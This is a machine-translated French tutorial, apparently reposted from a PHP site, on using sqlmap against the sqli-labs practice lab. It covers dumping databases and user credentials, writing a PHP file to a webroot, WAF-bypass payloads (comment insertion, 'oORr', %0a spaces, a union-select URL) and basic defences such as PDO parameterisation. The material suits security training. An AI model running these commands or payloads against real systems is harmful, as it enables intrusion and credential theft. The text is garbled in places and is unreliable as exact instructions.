Maison >Opération et maintenance >Sécurité >Comment analyser la défense contre les injections SQLMap et SQLi
1 J'ai déjà mentionné quelques instructions de base sur l'injection SQL, mais l'injection manuelle est très gênante, nous pouvons. utiliser sqlmap Ce puissant outil d'injection SQL est utilisé pour obtenir des données
2 Introduction à sqlmap
(1)#sqlmap est un outil de test d'intrusion open source qui peut détecter automatiquement. et Exploitation des vulnérabilités d'injection SQL et
accès au serveur de la base de données. Il dispose d'un moteur de détection très puissant, d'un testeur d'intrusion doté de multiples fonctionnalités, d'un accès au système de fichiers sous-jacent via l'empreinte digitale de la base de données et l'exécution de commandes via une connexion hors bande.
Site officiel : sqlmap.org
(2)#Bases de données prises en charge :
MySQL, Oracle, PostgreSQL , Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase et SAP MAXDB.
(3)#Prend en charge plusieurs méthodes d'injection
#injection SQL de requête UNION (injection de requête conjointe)
#Injection SQL basée sur les erreurs (injection basée sur les erreurs) )
#Injection SQL aveugle basée sur des valeurs booléennes (injection booléenne)
#Injection SQL aveugle basée sur le temps (injection temporisée)
#Requêtes empilées Injection SQL (injection de requêtes multi-instructions) #🎜 🎜#
#🎜 🎜 # sqlmap est plus compatible avec Python2.
(2) N'installez pas Python sur le chemin chinois et ajoutez Python à la variable d'environnement.
#🎜🎜 #(3) Téléchargez et installez sqlmap, modifiez le répertoire d'installation en C:UsersAdministratorsqlmap
(4) Testez le python environnement : entrez la ligne de commande cmd et entrez # 🎜🎜#python,Si les invites suivantes, l'installation est réussie
C:UsersAdministrator>python
# 🎜🎜#Python 2.7.16 #🎜 🎜 #(v2.7.16:413a49145e, 4 mars 2019, 01:37:19) [MSC v.1500 64 bits (AMD64)] sur win32 Type "aide", "copyright", "crédits" ou "licence" pour plus d'informations.
>>> exit(); : Entrez la ligne de commande cmd et entrez sqlmap.py -h (Chemin de la note) C:UsersAdministratorsqlmap>sqlmap.py -h
#Afficher les informations d'aide
#(1) Obtenir le nom de la bibliothèque, le nom de la colonne, l'autorisation
# 🎜🎜#- -dbs #Obtenir toutes les bases de données
--dbms mysql #Spécifier le type de base de données--users # Tous les utilisateurs de la base de données (nom d'utilisateur local de la base de données)
#🎜 🎜#
--banner #Obtenir l'identification de la base de données-D nom_base de données -T nom_table -C colonne_1, colonne_2 --dump
# 🎜🎜#- -users #Colonne des utilisateurs de gestion de base de données Lorsque l'utilisateur actuel a l'autorisation de lire la table contenant tous les utilisateurs, tous les utilisateurs de gestion peuvent être répertoriés.
--proxy #Spécifiez un serveur proxy par exemple : –proxy http://local:8080
#(2) Précisez le suffixe et le suffixe :
#sqlmap ne peut pas détecter de nombreux caractères d'interférence, vous pouvez spécifier manuellement le préfixe et le suffixe lors de la fermeture
sélectionnez * parmi les utilisateurs où id=((('1'))) et 1=1
# - -prefix=PREFIX Injecter le préfixe de la chaîne de charge utile
#–suffix=SUFFIX Injecter le suffixe de la chaîne de charge utile
par exemple : sqlmap -u « www.target.com/index.php?id=1 » -p id -- préfixe "'))"
--suffixe "AND ('1'='1"
#(3) Exporter les résultats :
sqlmap -u "www.a.com/1.php ? id=1” --file-write=”d:/1.txt”
--file-dest=”E:/wwwroot/web/one.php”
--batch entièrement automatique
--start=numéro de début--stop=numéro de fin
--dump Exporter les données
--dump-all Exporter toutes les données
--purge-output/ -- purge Effacer le répertoire de cache
--sql-shell Rebound sqlshell, similaire à l'analyseur de requêtes SQL Chemin par défaut.sqlmap (cliquez sur sqlmap)
#Less-1--Less65 déclaration générale ( Ces phrases sont les paramètres les plus couramment utilisés et doivent être comprises)
#(1) Obtenez tous les noms de bibliothèques
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less -1? id=1" --dbs --dbms=mysql --batch
# Analyse :
-u suivi de url signifie l'url de test
--dbs signifie obtenir toutes les bases de données
-- dbms signifie que le le type de base de données spécifié est mysql
--batch signifie l'obtenir automatiquement
-D security --tables signifie obtenir le nom de la table de la base de données spécifiée en tant que security
-D security -T users --columns signifie obtenir le base de données spécifiée comme sécurité Noms de colonnes dans la table des utilisateurs
-D sécurité -T utilisateurs -C nom d'utilisateur, mot de passe --dump #Obtenir les informations sur les données des champs de nom d'utilisateur et de mot de passe dans la bibliothèque de sécurité, table des utilisateurs, --dump signifie afficher les résultats
#Résultat :
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test
#(2) Obtenez le nom actuel de la bibliothèque
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current-db --batch
#Résultat :
base de données actuelle : 'sécurité'
#(3) Obtenez le nom de la table actuelle
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id= 1" -D security --tables -- batch
#Result:
Base de données : security
[4 tables]
+----------+
| emails |
| référents |
| uagents |
| utilisateurs |
+-- --------+
#(4) Obtenez le nom de la colonne actuelle
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost /sqli/Less-1?id=1" -D sécurité -T utilisateurs --columns --batch
#Result:
Base de données : sécurité
Tableau : utilisateurs
[3 colonnes]
+----- -----+----- ----+
| Type de colonne |
+---------+--------------- --+
| identifiant | int(3) |
| mot de passe | varchar(20) |
| nom d'utilisateur |
+----------+------- ------+
# (5) Obtenez le contenu du nom d'utilisateur et du mot de passe dans la table des utilisateurs
C:UsersAdministratorsqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id =1" -D sécurité -T utilisateurs -C nom d'utilisateur, mot de passe --dump --batch
#Résultat :
Base de données : sécurité
Table : utilisateurs
[13 entrées]
+-------- ---+-------------- --+
| nom d'utilisateur | mot de passe |
+---------+------------+
| Dumb | Dumb |
| Je-tue |
| Dummy |
| sécurisé |
| stupidité |
| admin | admin |
| admin1 |
| admin2 |
| admin3 |
| dhakkan |
| admin4 |
+--------- ---------+
ème Partie 2 : Contournement WAF pour l'injection SQL
1. Après avoir connu la méthode d'injection SQL, comment pouvons-nous empêcher l'injection SQL ? ) Filtrer et ou ou
#(2) MySQL prend en charge l'hexadécimal, utilisez le codage hexadécimal ou URL
#(3) Remplacez les mots par des symboles ===> (4) Commentaires en ligne et commentaires multilignes ===> Ajouter des commentaires a/**/nd Double écriture contourner oORr
3 Bien sûr, il existe d'autres méthodes. Prenons ces méthodes de filtrage comme exemples pour expliquer comment contourner.
2.2 Expérience waf de contournement d'injection SQL
1. Caractères de commentaire filtrés (Moins-23 comme exemple)
Commentaire sur plusieurs lignes : /* Contenu du commentaire sur plusieurs lignes*/
#(2) Fonction de filtre preg_replace
preg_replace(mixed $pattern, Mixed $replacement, Mixed $subject) : effectuez une recherche et un remplacement d'expression régulière.
$pattern : Le modèle à rechercher, qui peut être une chaîne ou un tableau de chaînes.
$subject : La chaîne cible ou le tableau de chaînes à rechercher et à remplacer.
L'utilisation de caractères de commentaire pour filtrer ne peut pas fermer correctement les guillemets simples, etc., modifier l'idée et utiliser ou '1'='1 pour fermer les guillemets simples, etc. http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273
(1) Analyse du code source : Vous pouvez voir que le ou ou et est remplacé par du vide
(2) Étapes de fonctionnement3. Les espaces filtrés devraient être Comment contourner ? (Moins-26 comme exemple)(1) Utiliser %0a comme espace
4. Comment contourner la sélection/union filtrée (Moins-27 comme exemple ? )
Partie 3 : Défense contre les injections SQL3.1 Méthode de défense contre les injections SQL
#(3), et les données seront traitées Filtrage : Pour par exemple, filtrez les mots-clés courants tels que et/ou/union
#(4), contrôlez les autorisations des utilisateurs pour se connecter à la base de données : chaque bibliothèque définit un administrateur pour une seule bibliothèque, n'utilisez pas les autorisations root.#(5), pré-traitement et paramétrage (PDO) : traite les paramètres transmis par l'utilisateur et renvoie une valeur booléenne, au lieu de simplement « épisser » les données, évitant ainsi l'injection SQL.
#(6), mesures de protection matérielle (WAF et autres matériel)
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!